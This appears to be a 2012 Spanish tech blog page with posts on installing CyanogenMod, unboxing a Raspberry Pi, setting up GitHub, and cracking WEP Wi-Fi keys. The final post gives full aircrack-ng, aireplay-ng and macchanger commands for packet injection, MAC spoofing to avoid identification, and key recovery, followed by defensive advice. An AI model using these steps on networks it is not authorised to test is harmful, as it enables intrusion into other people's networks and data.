viernes, 25 de mayo de 2012

Guía instalación CyanogenMod

Android
Uno de los defectos que tienen los móviles android es que los fabricantes y las operadores si ofrecen actualizaciones a nuevas versiones de android lo hacen tarde y en algunos casos ni eso con lo que al cabo de una año ya no tienes la última versión de andoid en un móvil que por hardware sería perfectamente capaz. Esto causa uno de los problemas en android, fragmentación en el ecosistema, dificultando el desarrollo de las aplicaciones y obligando a soportar un mayor número de versiones andoid en vez de unas pocas.

CyanogenMod
A raiz de este problema han ido surgiendo varias roms como CyanogenMod o MIUI que proporcionan versiones de android más actualizadas y modificadas partiendo del código original proporcionado por google. CyanogenMod es una de las roms más longevas, que soporta mayor número de dispositivos y de las más estables. Además del motivo anterior de tener una versión más actualizada de android, CyanogenMod puede solucionar algunos defectos que tiene el android original del teléfono. En mi caso el teléfono venía con froyo (2.2) y CyanogenMod me ha permitido disponer de gingerbread (2.3) además de corregir algunos problemas como poder desactivar la respuesta háptica (vibración) de los botones y de los bloqueos que se producían en algunas ocasiones al activar y desactivar la radio. Además CyanogenMod tiene muchas más opciones de personalización que las originales de android.

Los pasos a seguir para realizar la instalación de CyanogenMod son básicamente dos:
  • Rootear el teléfono lo que nos permitirá instalar bootloader y flashear CyanogenMod
  • Flashear CyanogenMod y las aplicaciones de Google.
Importante: rootear el teléfono puede acabar con la garantía y si no se hace de forma correcta el teléfono puede quedar tal útil como un ladrillo («bricked»). Por tanto, es conveniente saber que es lo que se esta haciendo y cuales son los  pasos a seguir. No me hago responsable de los ladrillos creados por esta guía.

Por tanto para evitar problemas es conveniente realizar la operación con la batería del móvil completamente cargada ,conectado al ordenador ya que uno de los motivos del los móviles brickeados es apagar el móvil cuando se está en el proceso de flasheo de la rom y realizando previamente una copia de seguridad de toda la información del teléfono ya que se perderá en el proceso.

Una vez informados de que es lo que hay que hacer y de las advertencias estamos listo para instalar CyanogenMod. El proceso explicado en la propia página de CyanogenMod para conseguir permisos de root a mi no me funcionó de tal forma que lo realicé con el programa SuperOneClickRoot, que lo realiza pulsando un botón. Además necesitaremos la rom adecuada para nuestro móvil, buscaremos entre los soportados y descargaremos la última versión estable. También necesitaremos las aplicaciones de google y por último el SDK de android con las platform-tools instaladas.

La última versión estable y las aplicaciones de google hay que copiarlas en la carpeta raíz de la tarjeta SD. Conectamos el móvil con el cable USB al ordenador y activamos la depuracion USB en Ajustes > Aplicaciones > Desarrollo > Depuración USB. Iniciamos SuperOnClickRoot y pulsamos el botón Root, tal vez se reinicie el teléfono varias veces y se nos preguntará si queremos instalar busy box, le damos que sí. Si todo hay ido bien ya tenemos rootedo el teléfono. Para comprobarlo abriremos una consola y con el comando adb shell de las platform-tools del SDK android deberemos ver en el prompt el caracter #, si el caracter es un $ el rooteo no funcionó. A partir de aquí los pasos son los mismos que los explicados en las secciones de las guías de cyanogenmod, «Installing bootmenu & the ClockworkMod Recovery» y «Flashing CyanogenMod». Deberemos instalar el bootloader para poder realizar el flasheo, reinicia el telefono y entrar en el bootloader, limpiar el teléfono con las operaciones wipe e instalar el zip con la rom de cyanogenmod y el zip con las aplicaciones de google desde el bootloader.

Estas son algunas capturas de como se ve CyanogenMod en su versión 7.1




viernes, 18 de mayo de 2012

Raspberry Pi, desempaquetado («unboxing»)

Raspberry Pi
Después de una charla a la que asistí y se explicó las posibilidades que ofrecen algunos aparatos como la Pandaboard, SheevaPlug u otros que estaban por llegar como la Raspberry Pi me entraron las ganas de hacerme con uno. En mi caso lo principal ha sido el poder tener un aparato dedicado a las descargas en vez del portátil y que su consumo de electricidad es muy reducido, entre 2 y 9 vatios (si usas un ordenador de escritorio para dejarlo descargando que tiene un consumo de entre 100w y 200w merece la pena usar un aparato de este tipo ya que su precio se amortiza en unos pocos meses) además de poder aprender algunas cosas. Aunque tiene unos recursos más reducidos que por ejemplo la Pandaboard me decanté por una Raspberry Pi por su precio, por la amplia comunidad que se ha formado alrededor de ella, lo que garantiza el soporte, y porque Arch Linux tiene una versión orientada a procesadores ARM ofreciendo entre otras soporte para la Raspberry.

ARM
¿Que es una Raspberry Pi? En esencia es un computador completo con el tamaño de de una tarjeta de crédito y con un coste muy reducido ¡27€! originalmente pensado para la enseñanza de programación. Posee un procesador de un núcleo ARM funcionando a 700 Mhz, 256 MiB de memoria, un lector de tarjetas de memoria SD de hasta 32 GB utilizada para cargar el sistema operativo, salida de video HDMI, un puerto ethernet 10/100, dos puertos USB 2.0, salida de video RCA para la televisión y un jack 3.5 mm como salida de sonido entre las cosas a destacar que le falta es WIFI. La placa se alimenta a taves de un puerto miniUSB con lo que un cargador de móvil USB nos puede servir perfectamente para alimentarlo. Desde luego no podrá ejecutar el último juego o un entorno gráfico de ventanas cono GNOME o KDE, ni sustituirá nuestro ordenador habitual con el que trabajemos pero eso no quiere decir que no sea útil. Pensándolo bien 256 MiB de memoria es lo que llevaban los ordenadores de escritorio allá por el 2004 y era lo recomendable para Windows XP y 700 Mhz es la velocidad a la que funcionaban los procesadores intel o amd hasta hace también bien poco, el HDMI es reciente y los puertos USB son omnipresentes. Todas estas características son proporcionadas por el SoC (System on a Chip) de Broadcom BCM2835 que incluye la CPU, la memoria y una GPU capaz de reproducir video a 1080p30, es un chip más capaz que el del iPhone 4 en el apartado gráfico. En la wikipedia hay más detalles.

Después de un par de meses esperando a que me llegase la Raspberry Pi a través de Farnell al final cancelé el pedido y lo hice a través de RS components. La verdad es que la experiencia ha sido mucho mejor con esta última que con la primera. Farnell abrió la preventa allá por el 29 de febrero desde un primer momento, como la demanda fue desmesurada para la cantidad disponible de placas por aquel entonces muchos hemos estado esperando varias semanas y sin ni siquiera con una fecha estimada de entrega. Por el contrario RS components hasta el momento solo ha permitido dejar los datos para ser avisado en el momento que tengan disponibilidad para satisfacer el pedido. Y ha sido esta semana cuando he recibido un correo de RS componentes mediante el cual podía realizar el pedido y en un plazo de 7 días laborales decían que realizaban el envío. Así que disgustado con la poca información ofrecida por Farnell y viendo que RS components tenía disponibilidad y me enviaba una en 7 días cancelé el pedido con Farnell y lo realicé con RS components. Al final no han sido 7 días lo que ha tardado en llegar sino solo 3. Por otra parte, al realizar el pedido con RS components se podía solicitar el envío de los cables que necesitemos (HDMI, cable ethernet, salida de video y jack 3.5 a  rca para conectarla a la televisión, cargador usb y tarjeta de memoria), por si esto no fuera poco, en cuanto a precio ha sido mejor la oferta de RS Components, con gastos de envío inlcuidos y varios cables (HDMI, ethernet, jack 3.5 a rca) el precio final ha sido 48.06 € contra 46,02 € y sin cables por parte de Farnell. Hay que decir que de momento las Raspberry Pi se están enviando sin caja, en un futuro existe la intención de ponerlas a la venta con caja para un uso más cómodo.

Mis planes para la Raspberry Pi son utilizarla como servidor de descargas para tenerlo descargando en vez del portátil, repositorio git para los proyectos personales que no quiera tener en GitHub de este modo no tendré que hacer tan a menudo copias de seguridad, tal vez un pequeño servidor para compartir archivos con ownCloud y si me es posible como reproductor de películas para conectarlo a la televisión. Con estos objetivos tendre que aprender como hacer una serie de cosas como conectarme mediante ssh de tal forma que no necesite un monitor para usarla, tendré que mirar como enviarle los torrents que quiero descargar, como instalar y configurar el servidor git y otra serie de cosas que vayan surgiendo de forma que pueda darle más uso. A medida que vaya aprendiendo lo iré plasmando en entradas en este blog.

Aún me falta hacerme con un par de tarjetas de memoria y un teclado usb que en cuanto tenga empezaré a cacharrear. De momento tengo solo un trozo de metal pero si queréis verlo aquí tenéis el mejor desempaquetado/unboxing de la Raspberry enviada por RS components que la cámara de mi móvil me ha dejado hacer. Si te ha parecido interensate el tema puedes continuar leyendo la Guía instalación Raspberry Pi con Arch Linux ARM (Parte I, instalación base).








Raspberry Pi con «caja» casera :)

Los elementos básicos para usar este miniordenador son la placa de la Raspberry Pi, una cargador de 3A junto con una tarjeta SD.

Raspberry Pi modelo B (256MiB)
Revisión por picodotdev el .
Galería de fotos y comentarios del desempaquetado del computador
Valor: 4

viernes, 11 de mayo de 2012

GitHub, repositorio Git para proyectos

GitHub
Git
El sistema de control de versiones Git tiene varias ventajas sobre los tradicionales herrramientas de control de versiones como puede ser Subversion y en está época muchos servicios están ya ofreciéndose a través de internet, las herramientas de control de versiones también. GitHub es un repositorio para hospedar proyectos de software que se basa en Git como herramienta de control de versiones todo ello a través de internet. A parte del repositorio Git para el código fuente otras características que ofrece son un gestor de peticiones, wikis y revisión de código. Además de poder trabajar de forma colaborativa haciendo forks de los proyectos de otras personas y enviándoles peticiones pull para los cambios que hagamos en sus proyectos.



Los pasos para poder crear nuestros propios repositorios en GitHub son varios pero nada complicados y están bien explicados en la documentación de GitHub. Primeramente deberemos crear una cuenta en GitHub eligiendo uno de los planes que nos ofrecen. Si los repositorios que vamos a crear van a contener código  abierto y van a ser públicos podremos usar el plan gratuito.


Una vez que tenemos nuestra cuenta deberemos configurar git para poder trabajar. Primeramente instalaremos el correspondiente paquete de git en nuestro sistema. Posteriormente deberemos crear un par de claves de SSH para poder hacer commits y trabajar en nuestros repositorios de forma segura.

ssh-keygen -b 8192 -t rsa -C "[email]"

Una vez generadas las claves tendremos que copiar el contenido de la clave pública en las preferencias de nuestra cuenta de GitHub en la sección de claves SSH. Podemos comprobar que hemos configurado la clave correctamente con:

$ ssh -T git@github.com -i "[clave privada]"

Ahora deberemos crear un repositorio de Git en GitHub, también en nuestro equipo en la carpeta donde lo guardemos y configurar algunas propiedades:

$ git init
$ git config github.user [usuario]
$ git config user.email [email]
$ git remote add origin git@github.com:[usuario]/[repositorio].git

Si queremos podemos crear un archivo README utilizando alguno de los lenguajes de marcas disponibles para que los usuarios que llegue a la página del proyecto en GitHub sepan de que trata y cualquier otra información que creamos pueda serles de ayuda.

Ya solo nos queda hacer los primeros commits y enviarlos a GitHub con las siguientes comandos respectivamente:

$ ssh-add "[clave privada]" 
$ git commit -m 'first commit'
$ git push -u origin master
$ git tag -a [tag] -m 'first tag'
$ git push --tags

Referencia:
https://github.com/
http://git-scm.com/
Sistema de control de versiones distribuido, Git

viernes, 4 de mayo de 2012

Obtener la clave de una red WIFI WEP

Obtener la clave con la que está protegida una red WIFI con seguridad WEP no es excesivamente complicado para una persona que tiene unos pocos conocimientos sobre informática, sabe buscar, leer y no le da miedo el terminal. Aún así hay que tener en cuenta que acceder a una red WIFI que no conocemos y que no sabemos de quien es no es recomendable ya que podemos ser victimas de que accedan a los datos que transmitimos.

Si aún sabiendo esto queremos acceder a una, para obtener la clave de las redes WIFI con seguridad WEP necesitamos una serie de programas que en la mayoría de distribuciones Linux son muy fáciles de instalar a través de sus gestoresde paquetes, necesitaremos aircrack-ng y macchanger. En el momento que probé a hacerlo con Arch Linux, parece que el el aircrack-ng tenía un problema con los canales de las WIFI asi que tuve que optar por usar BackTrack. La distribución de Linux BackTrack ya los trae instalados asi que solo tendriamos que desgargar una vesión de esta, grabarla en un CD y iniciar el equipo con ella.

Los pasos para obtener la clave de una red WIFI con seguridad WEP son:

Ponemos la tarjeta en modo promíscuo para escuchar todos los paquetes que circulen por la red:

$ sudo airmon-ng start wlan0


Cambiamos la dirección MAC de nuestra tarjeta de red inalámbrica para evitar trabajar con la nuestra y que nos identifiquen:

$ sudo ifconfig mon0 down

$ sudo macchanger -m 00:11:22:33:44:55 mon0

$ sudo ifconfig mon0 up


Escaneamos las redes que están cerca nuestro, buscamos una con cifrado WEP:

$ sudo airodump-ng mon0


Empezamos a volcar el tráfico de la red para que aircrack pueda averiguar la clave (este paso y los dos siguientes se realizan de forma simultanea en terminales diferentes):

$ sudo airodump-ng -c [CH] -w [ESSID] --bssid [BSSID] mon0


Inyectamos tráfico de forma artificial en la red para que el proceso sea más rápido:

$ sudo aireplay-ng -1 6000 -a [BSSID] -h 00:11:22:33:44:55 mon0

$ sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [BSSID] -h 00:11:22:33:44:55 mon0


Ponemos a aircrack a trabajar para descifrar la clave:

$ sudo aircrack-ng -z [ESSID]*.cap


Ya solo nos queda esperar un rato hasta que aircrack capture los paquetes suficientes y nos proporcione la clave en forma de 5 pares de caracteres.

Asi que no tengas una falsa sensación de seguridad por tener una red WIFI protegida con una seguridad WEP, incluso las redes WIFI con seguridad WPA/PSK que son un poco más seguras obtener la clave de estas también es posible. Dado que tener una red WIFI WEP o WPA/PSK no nos evita estar a salvo de intrusos algunas acciones que podemos tomar son: no usar WEP y al menos usar WPA/PSK (que tampoco es segura pero es mejor que WEP), cambiar la clave cada unas semanas (tampoco nos evita estar a salvo pero le será una molestia para quien intente acceder a nuestra WIFI), apagar la red WIFI si no la utilizamos y no dejarla siempre encendida (esto hará que alguien que este buscando una red WIFI a la que conectarse opte por otra que no sea la nuestra por no tener WIFI siempre que quiera), activa el filtrado MAC del router WIFI (así solo nuestros equipos podrán conectarse a eĺ) y ocultar la red no difundiendo el nombre, SSDI, de nuestra red (para alguien con pocos conocimientos optará primero por las redes que vea en vez de las redes WIFI ocultas).

Algunos motivos para evitar tener intrusos en nuestra red son disponer de todo el ancho de banda por el que pagamos, evitar que alguien utilice nuestra red para realizar acciones ilegales o acciones delictivas a través de ella, evitar que accedan a nuestros equipos y a nuestros documentos, claves de los servicios que utilizamos o datos de nuestras tarjetas bancarias o cuentas. Lo principal será prevenir estos poco frecuentes pero posibles problemas.

Referencia:
http://www.aircrack-ng.org/doku.php?id=aircrack-ng
http://www.atareao.es/ubuntu/conociendo-ubuntu/como-crackear-una-red-wifi-cifrada-con-wep-en-ubuntu/
http://www.pdaexpertos.com/Tutoriales/Comunicaciones/Seguridad_en_redes_inalambricas_WiFi.shtml